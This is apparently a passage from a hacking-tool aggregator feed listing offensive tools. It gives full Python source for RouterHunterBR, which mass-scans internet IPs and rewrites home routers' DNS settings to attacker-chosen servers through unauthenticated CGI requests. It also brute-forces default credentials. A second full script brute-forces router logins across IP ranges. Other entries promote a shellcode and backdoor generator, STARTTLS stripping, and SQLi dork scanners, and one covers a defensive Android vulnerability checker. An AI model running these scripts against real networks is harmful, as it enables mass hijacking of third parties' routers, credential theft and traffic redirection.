+ DSLink 260E – Authenticated routers – DNS Changer – Bruteforce reference: https://www.youtube.com/watch?v=tNjy91g2Rak
http://blog.inurl.com.br/2015/03/dslink-260e-defaut-passwords-dns-change_17.html

routerhunter.py Script:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
 
#===============================================================================================================================================
# Scanner RouterHunterBR v2.0 - InurlBrasil Team 
# Tool used to find and perform tests in vulnerable routers on the internet.
# Facebook: https://fb.com/JhonVipNet
# Blog: http://blog.inurl.com.br
# Twitter: https://twitter.com/jh00nbr
# Github: https://github.com/jh00nbr/
# Channel: https://www.youtube.com/c/Mrsinisterboy
# Fapage InurlBrasil Team: https://fb.com/InurlBrasil
#===============================================================================================================================================

import sys
import os
import argparse
import itertools
import requests
import random
import time
import threading
import base64
import socket
from datetime import datetime
 
banner = """
	      _	          _           _		   		   
  ___ ___ _ _| |_ ___ ___| |_ _ _ ___| |_ ___ ___ 
 |  _| . | | |  _| -_|  _|   | | |   |  _| -_|  _|
 |_| |___|___|_| |___|_| |_|_|___|_|_|_| |___|_|
				       BR - v2.0
 Tool used to find and perform tests in vulnerable routers on the internet.
[ Scanner RouterHunterBR 2.0 - InurlBrasil Team - coded by Jhonathan Davi a.k.a jh00nbr - jhoonbr at protonmail.ch ]
[ twitter.com/jh00nbr - github.com/jh00nbr/ - blog.inurl.com.br - www.youtube.com/c/Mrsinisterboy ]
[!] legal disclaimer: Usage of RouterHunterBR for attacking targets without prior mutual consent is illegal. 
It is the end user's responsibility to obey all applicable local, state and federal laws.					
Developers assume no liability and are not responsible for any misuse or damage caused by this program	   
"""
 
# Random ips
def random_ip():
	blocoa = random.randint(0,255)
	blocob = random.randint(0,255)
	blococ = random.randint(0,255)
	blocod = random.randint(0,255)
	ip = str(blocoa) + '.' + str(blocob)+ '.' + str(blococ) + '.' + str(blocod)
	return ip
 
def range_ips(ip):
	points = ip.split('.')
	chunks = [map(int, point.split('-')) for point in points]
	ranges = [range(c[0], c[1] + 1) if len(c) == 2 else c for c in chunks]
	for address in itertools.product(*ranges):
		yield '.'.join(map(str, address))

# Random agent / List user-agents sqlmap: https://raw.githubusercontent.com/moonsea/injection.testcase/master/txt/user-agents.txt
def user_agent():
    ua = ['Mozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1)', 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.6) Gecko/2009011912 Firefox/3.0.6', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.4) Firefox/3.0.8)', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2', 'Opera/9.21 (Windows NT 5.1; U; nl)', 'Mozilla/5.0 (X11; U; Linux x86; rv:1.9.1.1) Gecko/20090716 Linux Firefox/3.5.1', 'Opera/9.51 (X11; Linux i686; U; Linux Mint; en)', 'Opera/9.62 (Windows NT 5.1; U; tr) Presto/2.1.1','Opera/9.80 (Windows NT 6.0; U; it) Presto/2.6.30 Version/10.61', 'Mozilla/5.0 (Windows NT 5.1; U; en) Opera 8.50']
    return random.choice(ua)

# Perform the connection and operation with the router.
#===============================================================================================================================================
def conectar_ip(ip,rt):
    try:
        user_agent = {'User-Agent': 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.6) Gecko/2009011912 Firefox/3.0.6'} 
	url = "http://"+ip+rt
	response = requests.get(url,headers=user_agent, timeout=5)
	status = response.status_code
	html = response.text
	if status == 200:
	    if 'DNS Server Configuration' in html:
                print "\n" + "[ + ]" + hour() + bcolors.OKGREEN + "[ ! ] " + url + bcolors.ENDC
                print "[ + ] " + hour() + bcolors.OKGREEN + "[ ! ] IP: [ " + ip + " ] | DNS1: " + dns1 + " DNS2: " + dns2  + bcolors.ENDC
                print "[ + ] " + hour() + bcolors.OKGREEN + "[ ! ] Status: DNS changed success" + bcolors.ENDC
                print "[ + ] " + hour() + bcolors.OKGREEN + "[ ! ] Cod: 200"+ bcolors.ENDC
                #print "[ + ] " + hour() + bcolors.OKGREEN + "[ ! ] Model: Shuttle Tech ADSL Modem-Router 915 WM or DSL_500B"+ bcolors.ENDC
                print "[ + ] " + hour() + bcolors.OKGREEN + "[ ! ] City:",info_ip(ip) + bcolors.ENDC + "\n"
                
    except:
        print "[ + ] " + hour()+ bcolors.BRED + " [ " + ip +" ] ::: [ IS NOT VULNERABLE ]"+bcolors.ENDC 
#===============================================================================================================================================


# Check Status.
#===============================================================================================================================================
def status(return_status):
	if "200" in str(return_status):
		return "200"
	else:
		return "not"
 #===============================================================================================================================================


# Returns information about the ip.
#===============================================================================================================================================
def info_ip(ip):
	import json
	get = requests.get("http://ipinfo.io/"+ip+"/json")
	json = json.loads(get.content)
	city = json['city']
	if "None" in str(city):
		return " "
	else:
		return city
 #===============================================================================================================================================

# Hour.
#===============================================================================================================================================
def hour():
	now = datetime.now()
	return str(now.day) + "/" + str(now.month) + "/" + str(now.year) + " " + str(now.hour)+":"+str(now.minute)+":"+str(now.second)
#===============================================================================================================================================

class bcolors:
	OKGREEN = '\033[92m'
	GREEN = "\033[1;32m"
	GREENUNDER	=	"\033[4;32m"
	RED = '\033[91m'
	WARNING = '\033[93m'
	BASICY = "\033[0;33m"
	YELLOW = "\033[1;33m"
	BRED = "\033[0;31m"
	RED2 = "\033[1;31m"
	UNDERLINE = '\033[4m'
	ENDC = '\033[0m'
 
def printIP(ip,route):
	print ip
#=============================================================================================================================================== 
def randIP():
	ips = random_ip()
	for route in [shuttle, DLink_2740R, DLink_2640B, DSL_2780B, DSL_2730B, DSL_526B]:
	    conectar_ip(ips,route)

# Funcion ipRange / Reference: http://cmikavac.net/2011/09/11/how-to-generate-an-ip-range-list-in-python/
#===============================================================================================================================================
def ipRange_wildcard(start_ip, end_ip):
   start = list(map(int, start_ip.split(".")))
   end = list(map(int, end_ip.split(".")))
   temp = start
   ip_range = []
   
   ip_range.append(start_ip)
   while temp != end:
      start[3] += 1
      for i in (3, 2, 1):
         if temp[i] == 256:
            temp[i] = 0
            temp[i-1] += 1
      ip_range.append(".".join(map(str, temp)))      
   return ip_range
#===============================================================================================================================================
#Port check.
#===============================================================================================================================================
def port_check(ip,port):
    try:
        socke = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        socke.settimeout(0.5)
        result = socke.connect((ip,port))
        if "None" in str(result):
            return True
            socke.close()
        else:
            return False
    except:
        pass 
#===============================================================================================================================================

#Bruteforce router.
#===============================================================================================================================================
def bruteforce_router(ip,user,password,route):
    if port_check(ip,80):
        try:
            data = base64.b64encode(user+":"+password)
            auth = {'Authorization': "Basic "+ data}
            url = "http://"+ip+route
	    get = requests.get(url, headers=auth, timeout=5)	        
	    if "200" in str(get.status_code):
                print "\n" + "[ + ]" + hour() + bcolors.OKGREEN + "[ ! ] " + url + bcolors.ENDC
                print "[ + ] " + hour() + bcolors.OKGREEN + "[ ! ] IP: [ " + ip + " ] | DNS1: " + dns1 + " DNS2: " + dns2  + bcolors.ENDC
                print "[ + ] " + hour() + bcolors.OKGREEN + "[ ! ] Status: DNS changed success! [Bruteforce]" + bcolors.ENDC
                print "[ + ] " + hour() + bcolors.OKGREEN + "[ ! ] Cod: 200"+ bcolors.ENDC
                print "[ + ] " + hour() + bcolors.OKGREEN + "[ ! ] Model: DSLink_260E"+ bcolors.ENDC
                print "[ + ] " + hour() + bcolors.OKGREEN + "[ ! ] City:",info_ip(ip) + bcolors.ENDC + "\n\n"
        except:
             
            pass
    else:
        return False        
#===============================================================================================================================================

if __name__ == "__main__":
	parser = argparse.ArgumentParser(description='The Routerhunter was designed to run over the Internet looking for defined ips tracks or random in order to automatically exploit the vulnerability DNSChanger on home routers.', prog='Routerhunter', formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=100,width=200))
	parser.add_argument("-range", "--range", help="Set range of IP", metavar= "192.168.1.0-255", default="", required=False)
	parser.add_argument("-bruteforce", "--bruteforce", help = "Brute force with users and passwords on routers that requires authentication, forcing alteration of dns.", action="store_true")
	parser.add_argument("-startip", "--startip", help="Start - IP range customized with wildcard / 201.*.*.*", metavar= "192.168.*.*", default="", required=False)
	parser.add_argument("-endip", "--endip", help="End - IP range customized with wildcard / 201.*.*.*", metavar= "192.168.*.*", default="", required=False)
	parser.add_argument("-dns1", "--dns1", help = "Define malicious dns1", metavar= "8.8.8.8", default="8.8.8.8", required=True)
	parser.add_argument("-dns2", "--dns2", help = "Define malicious dns2", metavar= "8.8.4.4", default="8.8.4.4", required=True)
	parser.add_argument("--threads", help = "Set threads numbers", metavar= "10", default=1)
	parser.add_argument("-rip", "--randomip", help = "Randomizing ips routers", action="store_true")
	parser.add_argument("-lmtip", "--limitip", help = "Define limite random ip", metavar= "10", default=1)
	args = parser.parse_args()
	dns1 = args.dns1 #dns1
	dns2 = args.dns2 #dns2
	rngip = args.range # Rangeip
	start_rangeip = args.startip # Start ip asterisk
        end_rangeip = args.endip # End ip asterisk
	MAX_CONEXOES = args.threads
	lmt = args.limitip # Limit IP
 
	# GET vulnerable routers.
	#===============================================================================================================================================
	shuttle = "/dnscfg.cgi?dnsPrimary="+dns1+"&dnsSecondary="+dns2+"&dnsDynamic=0&dnsRefresh=1"
        DSL_2780B = "/dnscfg.cgi?dnsSecondary="+dns2+"&dnsIfcsList=&dnsRefresh=1"
        DSL_2730B = "/dnscfg.cgi?dnsPrimary="+dns1+"&dnsSecondary="+dns2+"&dnsDynamic=0&dnsRefresh=1&dnsIfcsList="
        DSL_526B = "/dnscfg.cgi?dnsSecondary="+dns2+"&dnsDynamic=0&dnsRefresh=1"
	DLink_2740R = "/dns_1?Enable_DNSFollowing=1&dnsPrimary="+dns1+"&dnsSecondary="+dns2
	DLink_2640B = "/ddnsmngr.cmd?action=apply&service=0&enbl=0&dnsPrimary="+dns1+"&dnsSecondary="+dns2+"&dnsDynamic=0&dnsRefresh=1&dns6Type=DHCP"
	dns1_explode = dns1.split(".")
   
        # DSLink 260E - Exploiting - Defaut Passwords DNS Change / https://www.youtube.com/watch?v=tNjy91g2Rak
        DSLink_260E = "/Action?dns_status=1&dns_poll_timeout=2&id=57&dns_server_ip_1="+dns1_explode[0]+"&dns_server_ip_2="+dns1_explode[1]+"&dns_server_ip_3="+dns1_explode[2]+"&dns_server_ip_4="+dns1_explode[3]+"&priority=0&cmdAdd=Add"
        #===============================================================================================================================================
    
        # Pre usernames and passwords set for brute force.
        #===============================================================================================================================================
        users = ["admin", "root", "adm", "root","support", "tech", "", "security", "User", "comcast", "user", "monitor", "Administrator", "operator", "admn", "D-Link", "sysadm", "super", "!root", "ctbc", "su", "TMAR#DLKT20060313", "TMAR#DLKT20060307", "TMAR#DLKT20090202", "TMAR#DLKT20050227", "TMAR#DLKT20050516", "TMAR#DLKT20050227", "TMAR#DLKT20050519", "TMAR#DLKT20050516", "TMAR#DLKT20060627", "TMAR#DLKT20060205", "TMARDLKT93319", "sysadmin", "telecom"]
        passwords = ["admin", "password", "root", "", "1234", "gvt12345", "teste", "", "1234", "1212", "supportuser", "s85Tcf", "normaluser", "parks", "Administrator", "administrator", "blank"]
        #===============================================================================================================================================

	if '*' in start_rangeip or '*' in end_rangeip:
            os.system('clear')
            print banner
            print "\n\n[*] Testing started in range: [ "+start_rangeip+" ] at [ " + hour() + " ]\n"
            ip1 = start_rangeip.replace('*', str(0)) 
            ip2 = end_rangeip.replace('*', str(255)) 
            for ip in ipRange_wildcard(ip1,ip2):
                for route in [shuttle, DLink_2740R, DLink_2640B, DSL_2780B, DSL_2730B, DSL_526B]:
		    lista_threads = []
		    while threading.active_count() > MAX_CONEXOES:
		        print("Esperando 1s...")
			time.sleep(1)
		    thread = threading.Thread(target=conectar_ip, args=(ip,route))
		    lista_threads.append(thread)
		    thread.start()
	        for thread in lista_threads:
	            thread.join()

	if args.range:
            if args.bruteforce:
                os.system('clear')
                print banner
                print "\n\n[*] Bruteforce started in routers: [ "+rngip+" ] at [ " + hour() + " ]\n"
                for ips in range_ips(rngip):
	            if port_check(ips,80):
	                for user in users:
                            for password in passwords:
                                for route in [DSLink_260E]:
		                    lista_threads = []
		                    while threading.active_count() > MAX_CONEXOES:	            
			                time.sleep(1)
		                    thread = threading.Thread(target=bruteforce_router, args=(ips,user,password,route))
		                    lista_threads.append(thread)
	                            thread.start()
	                    for thread in lista_threads:
                                thread.join()

	    else:	     
                os.system('clear')
                print banner
                print "\n\n[*] Testing started in range: [ "+rngip+" ] at [ " + hour()+ " ]\n"
	        for ips in range_ips(rngip):
                    for route in [shuttle, DLink_2740R, DLink_2640B, DSL_2780B, DSL_2730B, DSL_526B]:
		        lista_threads = []
		        while threading.active_count() > MAX_CONEXOES:
		            print("Esperando 1s...")
	                    time.sleep(1)
                        thread = threading.Thread(target=conectar_ip, args=(ips,route))
	                lista_threads.append(thread)
                        thread.start()
	            for thread in lista_threads:
	                thread.join()
 
	if args.randomip:
            os.system('clear')
            print banner
            print "\n\n[*] Testing started in random ips! at [ "+ hour() + " ]\n"
	    valida = 0
	    for valida in range(int(lmt)):
                lista_threads = []
		while threading.active_count() > MAX_CONEXOES:
	            print("Esperando 1s...")
		    time.sleep(1)
		thread = threading.Thread(target=randIP, args=())
		lista_threads.append(thread)
		thread.start()
	    for thread in lista_threads:
                thread.join()

Source : https://github.com/jh00nbr

Android-VTS v11 released ~ Android Vulnerability Test Suite

$
0
0

Changelog v-11:
+ Sort vulnerabilities by date of CVE descending
+ Enable WeakSauce check
+ Fix crashes with x509 serialization check on devices < Kitkat
+ Add check for CVE-2015-1528
+ Fix some UI state bugs
+ Small grammar fixesVTS-for Android

This tool was meant to show the end user the attack surface that a given device is susceptible to. In implementing these checks we attempt to minimize or eliminate both false positives/false negatives without negatively affecting system stability.

hammerhead-user 5.1.1 LMY48I 2074855 release-keys

hammerhead-user 5.1.1 LMY48I 2074855 release-keys

Latest Change 9/14/2015:
– Bunary and Application/App; Add header + some links for the x509 serialization bug.
– Update buildscript.

Rationale for necessity:
When a vulnerability is discovered, Google receives word and applies a patch to Android. The Nexus devices are usually the devices that receive these patches quickest as they deviate the least (read: not at all) from AOSP (Android Open Source Project – The core of Android, where Google commits to). The lag time between learning about a bug and the time when a patch is applied to a device can still be significant (for OEMs, it can be > 1 year or never). For example, the futex bug (CVE-2014-3153/Towelroot) was known about in late May, early June. This bug is still not patched on my latest Nexus 5 (Android 4.4.4). This leaves users extremely vulnerable to attack from applications. Users mostly do not know that their devices are vulnerable and this tool is meant to give visibility into the vulnerabilities a given device is susceptible to.

Lifecycle of a patch:
Samsung, HTC, and every other OEM keep heavily customized versions of Android. The patch deployment infrastructure from OEMS -> carriers -> users is in disarray. The OEMs receive the patches from Google and spend weeks or months applying these to some devices and testing. Then they ship off the device updates to the carrier who is responsible for pushing them to the end user. They then go through another QA cycle from the carrier.

Implementation :
Vulnerabilities in a device can exist at many layers inside of Android. For example, a bug can exist in the kernel (Towelroot, for example) or it can exist in the Android specific framework (Android Masterkeys/FakeID). Some of the kernel bugs can sometimes be difficult to check for without potentially causing system instability. This implementation takes care to not include checks that could cause instability problems for the end user and therefore may omit checks that could cause these types of issues. The framework is very thin at the current time and consists of a vector of vulnerability checks. Their concrete implementations vary wildly depending on the bug.
A list of current bug checks:
+ ZipBug9950697
+ Zip Bug 8219321 / Master keys
+ Zip Bug 9695860
+ Jar Bug 13678484 / Android FakeID
+ CVE 2013-6282 / put/get_user
+ CVE_2011_1149 / PSNueter / Ashmem Exploit
+ CVE_2014_3153 / Futex bug / Towelroot
+ CVE 2014-3847 / WeakSauce
+ StumpRoot
+ Stagefright bugs
+ x509 Serialization bug

Previous work:
There have been attempts before to solve this issue. xray.io Xray works by actually attempting the exploit which doesn’t satisfy our system stability constraint. There also exist other applications which attempt to determine a devices attack surface by simply using a lookup based on Android verison/build information. This causes both false negatives and false positives. Imagine the case where an OEM has back ported a fix to a device, but the check solely relies on an Android device; false positive. The case where an OEM upgrades to an Android version/kernel version which includes patches, but manages to break them causes the case of a false negative.

ZTE-Compel-4.4.2

ZTE-Compel-4.4.2

Download : android-VTS.apk(2.01 MB)
Source : https://github.com/nowsecure | Our Post Before

Sawef – Send Attack Web Forms.

$
0
0
sawef

Has been tested on WIndows Xp/Vista/7/8.1/10, Kali 2.0, Ubuntu 14.04

The purpose of this tool is to be a Swiss army knife for anyone who works with HTTP, so far it she is basic, bringing only some of the few features that want her to have, but we can already see in this tool:
– Email Crawler in sites
– Crawler forms on the page
– Crawler links on web pages
– Sending POST and GET
– Support for USER-AGENT
– Support for THREADS
– Support for COOKIES

Latest Change 7/12/2015:
Models : regex Update Linkedin

System Requirements:
+ Windows XP/Vista/7/8.1/10, Ubuntu 14.01, Kali 2.0
+ python 2.7.x
Installation :

git clone http://github.com/danilovazb/sawef
cd sawef
pip install -r requirements.txt
python sawef.py

Example-Usage-Sawef

Example-Usage-Sawef

Source :http://github.com/danilovazb


Router brute force tool.

$
0
0

Scans an IP address range for routers/modems implementing HTTP basic authentication that are exposed to the Internet, attempts to login with a set of common default usernames and passwords, and finally eliminates false positives by verifying that the HTML source code of the router/modem contains either the keyword “router” or the keyword “modem”.RouterBruteForce

router_brute_force.py Script:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import threading
import urllib2
import base64
import time
import sys

start_time = None
current_host = None
hosts_scanned = 0
found = []
usernames = ['admin', 'Admin', 'sysadmin', 'superuser', 'comcast', 'root', 'cisco', 'administrator', 'Administrator', 'netman', 'Any', '']
passwords = ['admin', 'sysadmin', 'password', 'changeme', 'comcast', 'root', 'cisco', '1234', '2wire', 'Wireless', 'netgear1', '']
units = [1 << (8 * i) for i in range(3, -1, -1)]

def ip_to_int(ip):
    return sum(int(byte) * unit for (byte, unit) in zip(ip.split('.'), units))

def int_to_ip(i):
    return '.'.join(str((i / bit) & 0xff) for bit in units)

def isBasicAuth(host, timeout):
    response = None
    try:
        response = urllib2.urlopen('http://'+host, timeout=timeout)
    except urllib2.HTTPError as exc:
        response = exc
    except:
        return False
    header = response.info().getheader('WWW-Authenticate')
    if header and header.lower().startswith('basic'):
        return True
    else:
        return False

def update_stats():
    sys.stdout.write('\r|%d\t\t|%d\t\t|%d\t\t|%s.*' % (len(found), int(hosts_scanned / (time.time() - start_time)), threading.activeCount()-1, '.'.join(current_host.split('.')[0:3])))
    sys.stdout.flush()

def brute_force(host, timeout, semaphore_object):
    global found
    global current_host
    global hosts_scanned
    current_host = host
    if isBasicAuth(host, timeout):
        for username in usernames:
            for password in passwords:
                try:
                    openedRequest = urllib2.urlopen(urllib2.Request('http://'+host, None, {'Authorization':'Basic %s' % base64.encodestring('%s:%s' % (username, password)).replace('\n', '')}), timeout=timeout)
                    if openedRequest:
                        if ('router' in openedRequest.read().lower()) | ('modem' in openedRequest.read().lower()):
                            found.append('%s:%s:%s' % (host, username, password))
                            hosts_scanned += 1
                            update_stats()
                            semaphore_object.release()
                            return None
                except:
                    pass
        hosts_scanned += 1
        update_stats()
        semaphore_object.release()
    else:
        hosts_scanned += 1
        update_stats()
        semaphore_object.release()

def main():
    global start_time
    if len(sys.argv) < 6:
        print 'Usage: python %s [START-IP] [END-IP] [OUTPUT-FILE] [THREADS] [TIMEOUT]' % sys.argv[0]
        sys.exit()
    threads = []
    semaphore = threading.BoundedSemaphore(value=int(sys.argv[4]))
    ips = (int_to_ip(i) for i in xrange(ip_to_int(sys.argv[1]), ip_to_int(sys.argv[2])))
    print 'Starting Scan...\nFound\t\tHost/s\t\tThreads\t\tCurrent'
    start_time = time.time()
    for ip in ips:
        semaphore.acquire()
        thread = threading.Thread(target=brute_force, args=(ip, float(sys.argv[5]), semaphore))
        thread.start()
        threads.append(thread)
    for thread in threads:
        thread.join()
    print '\nWriting data to file...'
    with open(sys.argv[3], 'a') as out_file:
        for fd in found:
            out_file.write('http://' + fd + '\n')

if __name__ == '__main__':
    main()

Source : https://github.com/imp3ll3d

ATSCAN-v3.1 – perl script for vulnerable Server, Site and dork scanner.

$
0
0

ATSCAN is a perl script with function Dork scanner. XSS scanner. LFI scanner. Filter wordpress and Joomla sites in the server. Find Admin page. Decode / Encode MD5 + Base64.ATSCAN-V3.1

Changelog v3.1: Correct proxy verification.

Principal MENU:
1 = DORK SCANNER
2 = SITE SCANNER
3 = SERVER SCANNER
4 = MD5 / BASE 64
5 = ABOUT
6 = EXIT (->)

SCAN SITES OPTIONS:
[+] 1 = CHECK HTTPD VERSION
[+] 2 = XSS SCAN
[+] 3 = LFI SCAN
[+] 4 = RFI SCAN (JOOMLA)
[+] 5 = RFI SCAN (WORDPRESS)
[+] 6 = XSS + LFI
[+] 7 = FIND ADMIN PAGE
[+] 8 = BACK (<-)
[+] 9 = EXIT (->)

ATSCAN-V1.1 Script Download: ATSCAN-V3.1-master (Mirror)

git clone https://github.com/AlisamTechnology/ATSCAN-V3.1
cd ATSCAN-V1
chmod +x ATSCAN
./ATSCAN

note: Best Run on Ubuntu 14.04, Kali Linux 2.0, Arch Linux, Fedora Linux, Centos | if you use a windows you can download manualy 
at https://github.com/AlisamTechnology/ATSCAN-V3.1/archive/master.zip & run using MinGW and rename file file ATSCAN to ATSCAN.pl

Source : https://github.com/AlisamTechnology

Fire – Custom LKM firewall passes packets to userland python script.

$
0
0

fire is custom firewall resides in kernel space and userspace Contains 2 components:
+ custom.ko — LKM (linux kernel module)
+ fire.py — Python script (run from user space)
Custom.ko passes ICMP/UDP/TCP packets to fire.py for further inspection and accepts any other package.load-custom-ko

Dependency:
+ nfqueue-bindings
+ scapy

Installation & Usage:

git clone https://github.com/vag-makr/fire && cd fire
apt-get update && apt-get install build-essential libnetfilter-queue-dev linux-headers-$(uname -r)
apt-get install python-nfqueue python-scapy
cd LKM
make

Load custom.ko:
insmod custom.ko
lsmod | grep custom
tail -f /var/log/kern.log

Unload custom.ko:
rmmod custom.ko
dmesg

python fire.py (make sure to load custom.ko)

Source : https://github.com/vag-makr

V3n0mScanner v4.0.2c – A tool to automate mass SQLi d0rk scanner.

$
0
0

Changelog V.4.0.2c, 25/1/2016:
Pulls far more results per page, sadly more results negates the slight speed improvement from “Keep-Alive”… Still working on improving overall Search-Engine speed.

V3n0M runs on Python3 [Live Project – Readding old features back in and improved for Python3]
v3n0m is a free and open source scanner. Evolved from baltazar’s scanner, it has adapted several new features that improve fuctionality and usability. It is mostly experimental software.
This program is for finding and executing various vulnerabilities. It scavenges the web using dorks and organizes the URLs it finds.

v3n0m-v-4.0.2c

v3n0m-v-4.0.2c

What You Hold:
A modified smartd0rk3r
+ Brand new, just outta the box!
+ Largest and most powerful d0rker online, 18k+d0rks searched over ~ Engines at once.
+ Free and Open /src/
+ CrossPlatform Python based toolkit
+ Version 4.0.2c Released on 25th Jan 2016
+ Licensed under GPLv2
+ Tested on: Linux 4.3.1 Ubuntu/Debian, CentOS 6 (with some errors), Win7 (with some errors)

Installation & Usage:

git clone https://github.com/v3n0m-Scanner/V3n0M-Scanner && cd V3n0M-Scanner
pip3 install asyncio
pip3 install aiohttp
python3 setup.py
cd src
python3 v3n0m.py

Update:
cd V3n0M-Scanner
git pull

Source: https://github.com/v3n0m-Scanner | Our Post Before

shellsploit-framework v1-beta : New Generation Exploit Development Kit.

$
0
0

Shellsploit let’s you generate customized shellcodes, backdoors, injectors for various operating system. And let’s you obfuscation every byte via encoders.
Requirement:
+ capstone
+ readline

shellsploit

shellsploit

changelog 27/1/2016: shell: exec scripts on maintenance.

Usage & Installation:

git clone https://github.com/b3mb4m/shellsploit-framework && cd shellsploit-framework
sudo pip install capstone
sudo pip install readline
python setup.py -s install
shellsploit (for run)

Updates:
cd shellsploit-framework
git pull origin master

Source : https://github.com/b3mb4m

striptls – poc implementation of STARTTLS stripping attacks.

$
0
0

striptls – poc implementation of STARTTLS stripping attacks.
SMTP
+ SMTP.StripFromCapabilities – server response capability patch
+ SMTP.StripWithInvalidResponseCode – client STARTTLS stripping, invalid response code
+ SMTP.UntrustedIntercept – STARTTLS interception (client and server talking ssl) (requires server.pem in pwd)
+ SMTP.StripWithTemporaryError
+ SMTP.StripWithError
POP3 (untested)
+ POP3.StripFromCapabilities
+ POP3.StripWithError
+ POP3.UntrustedIntercept
IMAP (untested)
+ IMAP.StripFromCapabilities
+ IMAP.StripWithError
+ IMAP.UntrustedIntercept
FTP (untested)
+ FTP.StripFromCapabilities
+ FTP.StripWithError
+ FTP.UntrustedIntercept
NNTP (untested)
+ NNTP.StripFromCapabilities
+ NNTP.StripWithError
+ NNTP.UntrustedIntercept
XMPP (untested)
+ XMPP.StripFromCapabilities

striptls - auditing proxy

striptls – auditing proxy

Usage:

git clone https://github.com/tintinweb/striptls && cd striptls
python setup.py
python python striptls --help

cd striptls
git pull origin master

Source : https://github.com/tintinweb

SQLcutie 1.8a – sqli dork scanner.

$
0
0

SQLcutie is a compact search engine dorker which able to search over 10 different types of error.
To able to use sqlcutie you need Perl’s modules:
+ LWP::UserAgent
+ HTTP::Request
+ Term::ANSIColor

sqlcutie

sqlcutie

Changes on 1.8a:
– Hot fix for search engine’s regex
– Added more error types

With Function:
+ Wide detection range (MySQL, MsSQL, PostgreSQL, JDBC/Oracle, Access, MariaDB, DB2, Sybase)
+ Regconize dynamic dork queries (e.g. asp?id+site:us, (asp|aspx)?id=)
+ Works through Tor

Usage:

git clone https://github.com/madfedora/sqlcutie.git && cd sqlcutie
chmod +x sqlcutie.pl
or
perl sqlcutie.pl

./sqlcutie.pl -d php?id=
./sqlcutie.pl -c

Script:

#!/usr/bin/perl --
=for comment

MP""""""`MM MM'"""""`MMM M""MMMMMMMM                     dP   oo         
M  mmmmm..M M  .mmm,  MM M  MMMMMMMM                     88              
M.      `YM M  MMMMM  MM M  MMMMMMMM .d8888b. dP    dP d8888P dP .d8888b.
MMMMMMM.  M M  MM  M  MM M  MMMMMMMM 88'  `"" 88    88   88   88 88ooood8
M. .MMM'  M M  `MM    MM M  MMMMMMMM 88.  ... 88.  .88   88   88 88.  ...
Mb.     .dM MM.    .. `M M         M `88888P' `88888P'   dP   dP `88888P'
MMMMMMMMMMM MMMMMMMMMMMM MMMMMMMMMMM 

      *-----------------------------------------------------------*	 
      |                                                           |
      |      SQLCutie 1.8a                                        |
      |                                                           |
      |      Hot fix for 1.8                                      |
      |                                                           |
      *-----------------------------------------------------------*
=cut

use LWP::UserAgent;
use HTTP::Request;
use Term::ANSIColor qw(:constants);

#-----------------------------------------------------------#
#      Help menu                                            #
#-----------------------------------------------------------#

sub help
{
     system('clear');
     print title;
     print BOLD,"\n For pentesting and educational purposes only\n",RESET;

     print BLUE, "\n[!] Usage   : $0 <option>\n";
     print GREEN, "-----------------------------------";
     print BOLD, GREEN, "\n--|| Options\n\n", RESET;
     print GREEN,BOLD,"     -d           Dorking function (dh)\n";
     print "     -c           See dork list (press Q to quit)\n",RESET,GREEN;
     print "     -p           Define a proxy to use (ph)\n";
     print "     -o           Save result in a file\n";
     print "     -h           Print this help manual\n";
     print "     -r           Change log, description & term\n";
     print "     -dh          Print dork manual\n";
     print "     -ph          Print proxy manual\n";
     print "     -u           Update to latest version\n";
     print "-----------------------------------\n\n", RESET;
     exit();
}

sub title
{
    print "\n This program comes with ABSOLUTELY NO WARRANTY\n";
    print " This is free software and you are welcome to\n";
    print " redistribute it under certain conditions of GPL 3.0\n";
}

sub readme
{
	system('clear');
     print BOLD;
     print q(
    This program is free software: you can redistribute it and/or modify 
    it under the terms of the GNU General Public License as published by 
    the Free Software Foundation, either version 3 of the License, or    
    at your option any later version.                                  
                                                                          
    This program is distributed in the hope that it will be useful,      
    but WITHOUT ANY WARRANTY; without even the implied warranty of       
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the        
    GNU General Public License for more details.                         
                                                                          
    You should have received a copy of the GNU General Public License    
    along with this program.  If not, see http://www.gnu.org/licenses/);
     print "\n";
     print RESET;
	print GREEN, "\n\n    -----------------------------------\n";
	print BOLD,GREEN,"    SQLCutie ",YELLOW,"1.8a\n",RESET;
	print GREEN,"    This program is distributed under GNU GPL 3.0\n",RESET;
	print BLUE,"    http://pastebin.com/NdVZ5HVX\n",RESET;
	print GREEN, "    -----------------------------------\n\n";
	print GREEN,"  Changes on 1.8a:\n\n",RESET;
	print BLUE,BOLD,"     - Hot fix for search engine's regex\n";
	print BLUE,BOLD,"     - Added more error types\n",RESET;
	print BLUE,"\n $0 -h\n\n",RESET;
	exit();
}

sub dorkhelp
{
	system('clear');
	print title;
	print BOLD,"\n For pentesting and educational purposes only\n",RESET;
	print     BOLD,"\n\n[!] Info [!]\n\n",RESET;
	print     YELLOW " inurl:",GREEN,"    <- indicates Query in URL\n",RESET;
	print     YELLOW," intitle:",GREEN,"  <- indicates Query in Title\n",RESET;
	print     YELLOW," intext:",GREEN,"   <- indicates Query in File Content\n",RESET;
	print     YELLOW," related:",GREEN,"  <- Related Query Content\n",RESET;
	print     YELLOW," site:",GREEN,"     <- indicates URL Domain\n",RESET;
	print     YELLOW," filetype:",GREEN," <- indicate File Type\n",RESET;
	print     YELLOW," ext:",GREEN,"      <- Similar to filetype\n",RESET;
	print     YELLOW," all",GREEN,"       <- Sub-query 'all' works only like 'allinurl','allintitle','allrelated' and 'allintext'\n",RESET;
	print     YELLOW," *",GREEN,"         <- Wildcard\n",RESET;
	print     YELLOW," \"\"",GREEN,"        <- Matches Entire Query\n",RESET;
	print     YELLOW," ()",GREEN,"        <- Brackets for Boolean operators (See Below)\n",RESET;
	print     YELLOW," |",GREEN,"         <- OR (Use only in brackets with queries like 'inurl', 'intitle','filetype' or 'related'\n",RESET;
	print     YELLOW," &",GREEN,"         <- AND (Use only in brackets with a query)\n",RESET;
